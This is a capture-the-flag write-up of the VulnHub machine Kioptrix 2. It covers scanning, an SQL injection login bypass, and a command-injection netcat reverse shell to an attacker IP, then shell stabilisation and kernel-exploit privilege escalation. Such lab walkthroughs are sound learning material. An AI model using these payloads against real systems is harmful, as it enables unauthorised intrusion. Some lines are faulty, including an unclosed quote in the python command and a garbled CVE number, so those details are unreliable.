← ALL WRITEUPSFIELD NOTES / TECHNICAL WRITEUP

Kioptrix 2

IP: 192.168.118.130
OS: centos
Difficulty: Easy
Date: 10/19/2026
Source: VulnHub


Nmap

nmap -sV -sC -p- <IP>

Open ports:


Enumeration

Web

The index page showed this login page.

Enumerated for hidden directories but did not find anything too useful.

Foothold

Vulnerability: SQLi through the panel used.

admin'--

This allowed access to the admin panel and setup of a reverse shell using the following command.

Exploit:

127.0.0.1;/usr/local/bin/nc 192.168.118.129 8080 -e '/bin/bash'

After getting the shell, stabilized it with:

python -c 'import pty;pty.spawn("/bin/bash)'

Then used:

export TERM=xterm 

Now the screen can be cleared.


Privilege Escalation

Vector: Vulnerable to the well-known CVE2009-2598 kernel exploit.
Technique: Download the exploit through exploitdb.

!

Compile the file on the target machine and run it.

← BACK TO WRITEUPSMAZEN. / HOME